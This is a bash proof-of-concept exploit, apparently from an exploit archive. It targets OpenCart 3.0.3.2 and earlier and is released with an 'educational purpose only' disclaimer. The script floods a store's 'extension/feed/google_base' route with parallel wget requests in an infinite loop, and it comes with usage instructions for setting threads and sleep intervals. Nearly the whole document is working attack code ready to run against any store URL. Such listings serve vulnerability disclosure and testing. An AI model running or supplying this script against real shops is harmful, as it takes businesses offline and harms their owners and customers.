Opencart 3.0.3.2 extension/feed/google_base Denial Of Service

`#!/bin/bash  
#  
# Opencart <= 3.0.3.2 'extension/feed/google_base' Remote Denial of Service PoC exploit  
#  
# Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>  
#  
# PoC exploit, just for test...  
# Tested on store with added more than 1000 products  
# Usage: ./cartkiller.sh store_url threads sleep  
# Example: ./cartkiller.sh https://store_name 50 5  
#  
#  
# Disclaimer:  
# This or previous programs is for Educational   
# purpose ONLY. Do not use it without permission.   
# The usual disclaimer applies, especially the   
# fact that Todor Donev is not liable for any   
# damages caused by direct or indirect use of the   
# information or functionality provided by these   
# programs. The author or any Internet provider   
# bears NO responsibility for content or misuse   
# of these programs or any derivatives thereof.  
# By using these programs you accept the fact   
# that any damage (dataloss, system crash,   
# system compromise, etc.) caused by the use   
# of these programs is not Todor Donev's   
# responsibility.  
#   
# Use them at your own risk!  
#  
  
echo "Opencart <= 3.0.3.2 'extension/feed/google_base' Remote Denial of Service PoC exploit"  
echo  
echo "Copyright 2019 (c) Todor Donev <todor.donev at gmail.com>"  
echo  
echo "PoC exploit, just for test..."  
echo "Tested on store with added more than 1000 products"  
  
if [ -z "$3" ]; then  
echo Usage: "$0" store_url threads sleep  
echo Example: "$0" https://store_name 50 5  
exit 4  
fi  
  
url="$1"  
threads="$2"  
sleep="$3"  
while :  
do  
for ((i=1;i<=$2;i++));   
do   
wget "$url/index.php?route=extension/feed/google_base" --user-agent="Mozilla/5.0 (OpenCart Killer v2 google_base Denial Of Service)" --quiet -O /dev/null -o /dev/null &  
done  
#  
# Sleep between loops..  
#   
sleep $sleep  
done   
`